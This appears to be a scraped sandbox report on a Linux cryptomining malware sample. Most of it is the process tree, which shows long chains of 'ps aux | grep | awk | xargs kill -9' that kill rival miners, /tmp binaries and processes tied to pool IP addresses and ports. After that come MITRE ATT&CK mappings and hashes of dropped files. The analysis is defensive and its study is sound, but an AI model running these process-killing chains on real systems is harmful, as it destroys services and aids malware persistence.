/usr/bin/awkawk "{print \$2}"2⤵PID:1798
-
-
/bin/grepgrep -v grep2⤵PID:1797
-
-
/bin/grepgrep ./udp2⤵PID:1796
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1795
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1804
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1803
-
-
/bin/grepgrep -v grep2⤵PID:1802
-
-
/bin/grepgrep ./oka2⤵PID:1801
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1800
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1809
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1808
-
-
/bin/grepgrep -v grep2⤵PID:1807
-
-
/bin/grepgrep "postgres: autovacum"2⤵PID:1806
-
-
/bin/psps aux2⤵PID:1805
-
-
/bin/grepgrep -v php-fpm2⤵PID:1815
-
-
/bin/grepgrep -v proxymap2⤵PID:1816
-
-
/bin/grepgrep -v "("2⤵PID:1814
-
-
/bin/grepgrep -v "\\["2⤵PID:1813
-
-
/bin/grepgrep -v postgres2⤵PID:1817
-
-
/bin/grepgrep -v bin2⤵PID:1812
-
-
/bin/grepgrep -v postgrey2⤵PID:1818
-
-
/bin/grepgrep -v kinsing2⤵PID:1819
-
-
/usr/bin/awkawk "length(\$1) == 8"2⤵PID:1811
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1820
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1821
-
-
/bin/psps ax -o "command,pid" -www2⤵PID:1810
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1832
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1831
-
-
/bin/grepgrep -v postgrey2⤵PID:1830
-
-
/bin/grepgrep -v proxymap2⤵PID:1828
-
-
/bin/grepgrep -v postgres2⤵PID:1829
-
-
/bin/grepgrep -v php-fpm2⤵PID:1827
-
-
/bin/grepgrep -v "("2⤵PID:1826
-
-
/bin/grepgrep -v "\\["2⤵PID:1825
-
-
/bin/grepgrep -v bin2⤵PID:1824
-
-
/usr/bin/awkawk "length(\$1) == 16"2⤵PID:1823
-
-
/bin/psps ax -o "command,pid" -www2⤵PID:1822
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1843
-
-
/bin/grepgrep -v postgrey2⤵PID:1841
-
-
/bin/grepgrep -v postgres2⤵PID:1840
-
-
/usr/bin/awkawk "{print \$1}"2⤵PID:1842
-
-
/bin/grepgrep -v proxymap2⤵PID:1839
-
-
/bin/grepgrep -v php-fpm2⤵PID:1838
-
-
/bin/grepgrep -v "("2⤵PID:1837
-
-
/bin/grepgrep -v "\\["2⤵PID:1836
-
-
/bin/grepgrep -v bin2⤵PID:1835
-
-
/usr/bin/awkawk "length(\$5) == 8"2⤵PID:1834
-
-
/bin/psps ax2⤵
- Reads runtime system information
PID:1833
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1848
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1847
-
-
/bin/grepgrep /tmp/sscks2⤵PID:1846
-
-
/bin/grepgrep -v grep2⤵PID:1845
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1844
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1853
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1852
-
-
/bin/grepgrep -v grep2⤵PID:1851
-
-
/bin/grepgrep "sleep 60"2⤵PID:1850
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1849
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1858
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1857
-
-
/bin/grepgrep -v grep2⤵PID:1856
-
-
/bin/grepgrep ./crun2⤵PID:1855
-
-
/bin/psps aux2⤵PID:1854
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1863
-
-
/usr/bin/awkawk "{if(\$3>80.0) print \$2}"2⤵PID:1862
-
-
/bin/grepgrep -v grep2⤵PID:1861
-
-
/bin/grepgrep -vw kdevtmpfsi2⤵PID:1860
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1859
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1868
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1867
-
-
/bin/grepgrep :33332⤵PID:1866
-
-
/bin/grepgrep -v grep2⤵PID:1865
-
-
/bin/psps aux2⤵PID:1864
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1873
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1872
-
-
/bin/grepgrep :55552⤵PID:1871
-
-
/bin/grepgrep -v grep2⤵PID:1870
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1869
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1878
-
-
/bin/grepgrep -v grep2⤵PID:1875
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:1876
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1877
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1874
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1883
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1882
-
-
/bin/grepgrep log_2⤵PID:1881
-
-
/bin/grepgrep -v grep2⤵PID:1880
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1879
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1888
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1887
-
-
/bin/grepgrep systemten2⤵PID:1886
-
-
/bin/grepgrep -v grep2⤵PID:1885
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1884
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1893 -
/usr/local/sbin/killkill -9 103⤵PID:1894
-
-
/usr/local/bin/killkill -9 103⤵PID:1894
-
-
/usr/sbin/killkill -9 103⤵PID:1894
-
-
/usr/bin/killkill -9 103⤵PID:1894
-
-
/sbin/killkill -9 103⤵PID:1894
-
-
/bin/killkill -9 103⤵PID:1894
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1892
-
-
/bin/grepgrep netns2⤵PID:1891
-
-
/bin/grepgrep -v grep2⤵PID:1890
-
-
/bin/psps aux2⤵PID:1889
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1899
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1898
-
-
/bin/grepgrep voltuned2⤵PID:1897
-
-
/bin/grepgrep -v grep2⤵PID:1896
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1895
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1904
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1903
-
-
/bin/grepgrep darwin2⤵PID:1902
-
-
/bin/grepgrep -v grep2⤵PID:1901
-
-
/bin/psps aux2⤵PID:1900
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1909
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1908
-
-
/bin/grepgrep /tmp/dl2⤵PID:1907
-
-
/bin/grepgrep -v grep2⤵PID:1906
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1905
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1914
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1913
-
-
/bin/grepgrep /tmp/ddg2⤵PID:1912
-
-
/bin/grepgrep -v grep2⤵PID:1911
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1910
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1919
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1918
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1917
-
-
/bin/grepgrep -v grep2⤵PID:1916
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1915
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1924
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1923
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1922
-
-
/bin/grepgrep -v grep2⤵PID:1921
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1920
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1929
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1928
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1927
-
-
/bin/grepgrep -v grep2⤵PID:1926
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1925
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1934
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1933
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1932
-
-
/bin/grepgrep -v grep2⤵PID:1931
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1930
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1939
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1938
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1937
-
-
/bin/grepgrep -v grep2⤵PID:1936
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1935
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1944
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1943
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1942
-
-
/bin/grepgrep -v grep2⤵PID:1941
-
-
/bin/psps aux2⤵PID:1940
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1949
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1948
-
-
/bin/grepgrep 45.76.122.922⤵PID:1947
-
-
/bin/grepgrep -v grep2⤵PID:1946
-
-
/bin/psps aux2⤵PID:1945
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1954
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1953
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1952
-
-
/bin/grepgrep -v grep2⤵PID:1951
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1950
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1959
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1958
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1957
-
-
/bin/grepgrep -v grep2⤵PID:1956
-
-
/bin/psps aux2⤵PID:1955
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1964
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1963
-
-
/bin/grepgrep 86s.jpg2⤵PID:1962
-
-
/bin/grepgrep -v grep2⤵PID:1961
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1960
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1969
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1968
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1967
-
-
/bin/grepgrep -v grep2⤵PID:1966
-
-
/bin/psps aux2⤵PID:1965
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1974
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1973
-
-
/bin/grepgrep nMrfmnRa2⤵PID:1972
-
-
/bin/grepgrep -v grep2⤵PID:1971
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1970
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1979
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1978
-
-
/bin/grepgrep PuNY5tm22⤵PID:1977
-
-
/bin/grepgrep -v grep2⤵PID:1976
-
-
/bin/psps aux2⤵PID:1975
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1984
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1983
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1982
-
-
/bin/grepgrep -v grep2⤵PID:1981
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1980
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1989
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1988
-
-
/bin/grepgrep AgdgACUD2⤵PID:1987
-
-
/bin/grepgrep -v grep2⤵PID:1986
-
-
/bin/psps aux2⤵PID:1985
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1994
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1993
-
-
/bin/grepgrep uiZvwxG82⤵PID:1992
-
-
/bin/grepgrep -v grep2⤵PID:1991
-
-
/bin/psps aux2⤵PID:1990
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1999
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1998
-
-
/bin/grepgrep hahwNEdB2⤵PID:1997
-
-
/bin/grepgrep -v grep2⤵PID:1996
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1995
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2004
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2003
-
-
/bin/grepgrep BtwXn5qH2⤵PID:2002
-
-
/bin/grepgrep -v grep2⤵PID:2001
-
-
/bin/psps aux2⤵
- Process Discovery
PID:2000
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2009
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2008
-
-
/bin/grepgrep 3XEzey2T2⤵PID:2007
-
-
/bin/grepgrep -v grep2⤵PID:2006
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2005
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2014
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2013
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:2012
-
-
/bin/grepgrep -v grep2⤵PID:2011
-
-
/bin/psps aux2⤵
- Process Discovery
PID:2010
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2019
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2018
-
-
/bin/grepgrep HD7fcBgg2⤵PID:2017
-
-
/bin/grepgrep -v grep2⤵PID:2016
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:2015
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2024
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2023
-
-
/bin/grepgrep zXcDajSs2⤵PID:2022
-
-
/bin/grepgrep -v grep2⤵PID:2021
-
-
/bin/psps aux2⤵PID:2020
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2029
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2028
-
-
/bin/grepgrep 3lmigMo2⤵PID:2027
-
-
/bin/grepgrep -v grep2⤵PID:2026
-
-
/bin/psps aux2⤵PID:2025
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2034
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2033
-
-
/bin/grepgrep AkMK4A22⤵PID:2032
-
-
/bin/grepgrep -v grep2⤵PID:2031
-
-
/bin/psps aux2⤵
- Process Discovery
PID:2030
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2039
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2038
-
-
/bin/grepgrep AJ2AkKe2⤵PID:2037
-
-
/bin/grepgrep -v grep2⤵PID:2036
-
-
/bin/psps aux2⤵PID:2035
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2044
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2043
-
-
/bin/grepgrep HiPxCJRS2⤵
- System Network Configuration Discovery
PID:2042
-
-
/bin/grepgrep -v grep2⤵PID:2041
-
-
/bin/psps aux2⤵
- Process Discovery
PID:2040
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2049
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2048
-
-
/bin/grepgrep http_0xCC0302⤵PID:2047
-
-
/bin/grepgrep -v grep2⤵PID:2046
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:2045
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2054
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2053
-
-
/bin/grepgrep http_0xCC0312⤵PID:2052
-
-
/bin/grepgrep -v grep2⤵PID:2051
-
-
/bin/psps aux2⤵
- Process Discovery
PID:2050
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2059
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2058
-
-
/bin/grepgrep http_0xCC0322⤵PID:2057
-
-
/bin/grepgrep -v grep2⤵PID:2056
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:2055
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2064
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2063
-
-
/bin/grepgrep http_0xCC0332⤵PID:2062
-
-
/bin/grepgrep -v grep2⤵PID:2061
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:2060
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2069
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2068
-
-
/bin/grepgrep C4iLM4L2⤵PID:2067
-
-
/bin/grepgrep -v grep2⤵PID:2066
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2065
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2074
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2073
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:2072
-
-
/bin/grepgrep -v grep2⤵PID:2071
-
-
/bin/psps aux2⤵PID:2070
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2078
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:2077
-
-
/bin/grepgrep -v grep2⤵PID:2076
-
-
/bin/psps aux2⤵PID:2075
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2083
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2082
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:2081
-
-
/bin/grepgrep -v grep2⤵PID:2080
-
-
/bin/psps aux2⤵PID:2079
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2088
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2087
-
-
/bin/grepgrep i4b503a52cc52⤵PID:2086
-
-
/bin/grepgrep -v grep2⤵PID:2085
-
-
/bin/psps aux2⤵
- Process Discovery
PID:2084
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2093
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2092
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:2091
-
-
/bin/grepgrep -v grep2⤵PID:2090
-
-
/bin/psps aux2⤵PID:2089
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2098
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2097
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:2096
-
-
/bin/grepgrep -v grep2⤵PID:2095
-
-
/bin/psps aux2⤵PID:2094
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2103
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2102
-
-
/bin/grepgrep nqscheduler2⤵PID:2101
-
-
/bin/grepgrep -v grep2⤵PID:2100
-
-
/bin/psps aux2⤵
- Process Discovery
PID:2099
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2108
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2107
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:2106
-
-
/bin/grepgrep -v grep2⤵PID:2105
-
-
/bin/psps aux2⤵
- Process Discovery
PID:2104
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2114
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:2113
-
-
/bin/grepgrep "]"2⤵PID:2112
-
-
/bin/grepgrep -v aux2⤵PID:2111
-
-
/bin/grepgrep -v grep2⤵PID:2110
-
-
/bin/psps aux2⤵PID:2109
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2119
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2118
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:2117
-
-
/bin/grepgrep -v grep2⤵PID:2116
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:2115
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2124
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2123
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:2122
-
-
/bin/grepgrep -v grep2⤵PID:2121
-
-
/bin/psps aux2⤵PID:2120
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2129
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2128
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:2127
-
-
/bin/grepgrep -v grep2⤵PID:2126
-
-
/bin/psps aux2⤵
- Process Discovery
PID:2125
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2136
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:2135
-
-
/bin/grepgrep -v _2⤵PID:2134
-
-
/bin/grepgrep -v -2⤵PID:2133
-
-
/bin/grepgrep -v /2⤵PID:2132
-
-
/bin/grepgrep -v grep2⤵PID:2131
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:2130
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2141
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2140
-
-
/bin/grepgrep "\\[^"2⤵PID:2139
-
-
/bin/grepgrep -v grep2⤵PID:2138
-
-
/bin/psps aux2⤵PID:2137
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2146
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2145
-
-
/bin/grepgrep rsync2⤵PID:2144
-
-
/bin/grepgrep -v grep2⤵PID:2143
-
-
/bin/psps aux2⤵
- Process Discovery
PID:2142
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Scheduled Task/Job
1Cron
1Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
146B
MD58eec510e57f5f732fd2cce73df7b73ef
SHA13c0af39ecb3753c5fee3b53d063c7286019eac3b
SHA25655f7d9e99b8e2d4e0e193b2f0275501e6d9c1ebd29cadbea6a0da48a8587e3e0
SHA51273bbf698482132b5fd60a0b58926fddec9055f8095a53bc52714e211e9340c3419736ceafd6b279667810114d306bfccdcfcddf51c0b67fe9e3c73c54583e574
-
Filesize
5B
MD5727479ef7cedf30c03459bec7d87b0f0
SHA12082e7f715f058acab2398d25d135cf5f4c0ce41
SHA25629872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA5124cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba
-
Filesize
830B
MD5c1da259fba6b8d7e21d3d7b5914a614f
SHA1493422887d4e591ab79e6b6a09d34e42ef70daf8
SHA2569f2ca7c1d3dee383e6079c8adaf23b130bf681cc0346fb3e4999f1dd719ea1f9
SHA5127259b77d07a437d2989180a3d9d6f5c783848be0d9470415687a20f7259a86b94ba2e07e30ae2a881bacb5da3e4e34cbebf62700ddeccd2376fbf73410670ec4
-
Filesize
1KB
MD5b8496f346199772b747e472b66d6c3b4
SHA1e948e8840d2d4ae2ffffc976bc1611ad174efdcf
SHA256ef420c1099a19fdd4056504b45e7b30e6ab47e1920ab091bae651e375030ff54
SHA512e88ef0022456095acfdd29a6eded057ccf40193e810089843d5a77d4e109c99ca56e8744aeddb8b81bd5d41cb7bbe1f434c0091edc6b9e235e7e39f9a52d8b89
-
Filesize
249B
MD5d1d875a2b26dfca374ea9c3bc8f7016e
SHA169a6127d84c95dbbbef9b801837d4ba468baec0b
SHA256f07579f89f473253341140e62786cc309c7101242977a01823e8d338e331de25
SHA512837356141bb9a51656721994afa28ec50ccbc754441f0b63c2d1b256dd4623b3c16be8dbbd46b3f0154ae3acf1bb3fc0a002d7900f2eac9f5fcd4840bf94a238
-
Filesize
249B
MD52fd0c82f355babd07f717b6fcb0d5aed
SHA1c4595e959a3ba71e3a54701ba3aefa77378ca51c
SHA256a141071b7ce67fb8826da52782c93cc9508ae1e08a21802d6e8bb21d1cbdf64b
SHA5124436bd7660cb8f95f59f6d4d6014c85e2bd7cd1c1460fbb2613ac25848a9e286ea42d89275cb73cedc38d0358c0363fb1dc3822a72c0eec26134af7ba4b63ad6
-
Filesize
249B
MD563bc2f96ea4437591000128840a6305e
SHA1558b612b30e75e0b416e4bd353ab6db985cba4d0
SHA256854072a339648fcbc7abfe17459bd6c444ad517ed6c399a4719d1d821f1ad8de
SHA51219d7039d42b8ac3f576c1040eb3c7f99ad5caa519a7591b05022809fa8f88a24c58e844ed55adc186c8b84b9b348857f5e19272ee9e7e8a9c630f2f3f45c6f80
-
Filesize
175B
MD50369d1693c528f9236d4e2df194393dc
SHA12a7a2cd88332d7681a6683aaa35768879567db62
SHA2565847adb73eab8b97148335f27209c68e59ea02e67c6821a81880dfded31ec13d
SHA512cb618faef90294a8af87847125b4d1b92f08cc72193fb31152191538566ed612ec42864883b8c39b369d6ffd5ddbc74399d8f61d80cd5348fbbae42522adf39a
-
Filesize
175B
MD5e4f84dc05aba8dc16e5f4a019507e13c
SHA1683145654c3ae7e98306653d1352a949c8892802
SHA2567e46975fef7c62402ae6ac0127d519f742dace0f4aac7ec729bfbc03cd97c481
SHA5125c58fce3cd84a815487a55d269749f899f46b70c4cf326d4e20a41b472aad05e0a96322d7db9af0521c551c85a295681ee8cee8eb0138aa799b7436b4de04c73
-
Filesize
249B
MD51731d13a282be1629a99f65ef899a0ec
SHA18392fdf8ccec446085fdbef71bdc54613c11a227
SHA25668ca66e809fdb90deb2e84a339b6f295ea3d31d044bf7e382d2a4051bb1e00b0
SHA512c544856208d6b19155a682b5ab9fa4d76382c83dfa9711123708eb66f5299394c17019b4c66503d6cab5531eae6ab634108c353729485634da84fa0a402e065d
-
Filesize
249B
MD58688927ac2d086a0a96bfe38cb197847
SHA146cb51343a9203be69db7ef1f9d9471b7bbde7cd
SHA2563476746b1e738066ed98900cfbea38256a80654b9d16cafa74c92edc09e95e59
SHA512b71e267141f638bc11b9bd0208c0301daebcea62498b1731b28d599e24ab691afe66114f0e0c6e6194d27f17c288c952b40a3ff71847f508fbb5a16ef8b092ba
-
Filesize
249B
MD5244d93cceed673ea89a1d6cb40b68a22
SHA13301fa76da1e7bcbd3534f44c9daf57194ffa08d
SHA2564a6abb19a06de100cb3c89ac7c70692ac897cca94ca948da90c1a78b9db3c686
SHA5126008586b532c012102cfa6124e9b0945211a0befff91d45d3f9f5c417b888cd66b1783fdd89f7dafcb5273db9547ca4164f3e834b4e43227be8a9fa94754aa84
-
Filesize
175B
MD58adea5932d628eb285819b3724c35933
SHA1a00c0d3a36e08e16ead69d5dc336527031dd3ac6
SHA256b3722c891ae1fe78eced8993ed4284b7d64c2fcf9ca0b15ea9399c79dabc1e0e
SHA51298653210b92371d624fb7d85096f98124e722713fd13a1a64c97da81498b4c40e659737e30c0daf7350f2f63333e5e33910abc780ab04a101be72863c04d548c
-
Filesize
175B
MD54fa054d1691e26869235be62a4024c68
SHA100799f5056f33352327e381e238a125aec164be4
SHA256cc97757485cd64d865d4fb097e9618990200050718a9a3a4b56ab81217547898
SHA5127ee20b29c51b87413e89d0c78a34d9eed33d285a7b8a3cc0e2d9ac1768e030259f89da7cbbf6e11d8767f5a0661a72b5046d2bb3cd8d0230b4f48e6b241e239f
-
Filesize
249B
MD5eda18ecbc310dc407c98bc71620c74ac
SHA1c6804223ecde49d039beaa294da6465609dfef8e
SHA256a635053a563d1459eca3bafbbfed14d74221ea5c83cd70840626c326b7fdab4d
SHA5121e9b6b35e9ba5cfa2e8251d39f4adf0a9fedb22e262373dfb89cfcf6dedd02817d1fa308ffa4c00766e57a114a438aa736f3b5f63d40e0b326036b57c48fe80a
-
Filesize
249B
MD5866dd0d63b2248062058a84deae22f61
SHA1d2e45e3b58abedeb4a4b7915f0457d7362c9f664
SHA256bfd60d46f6bdb733e86ee43c172598009370dde38724ef0b291494df8a9fb7de
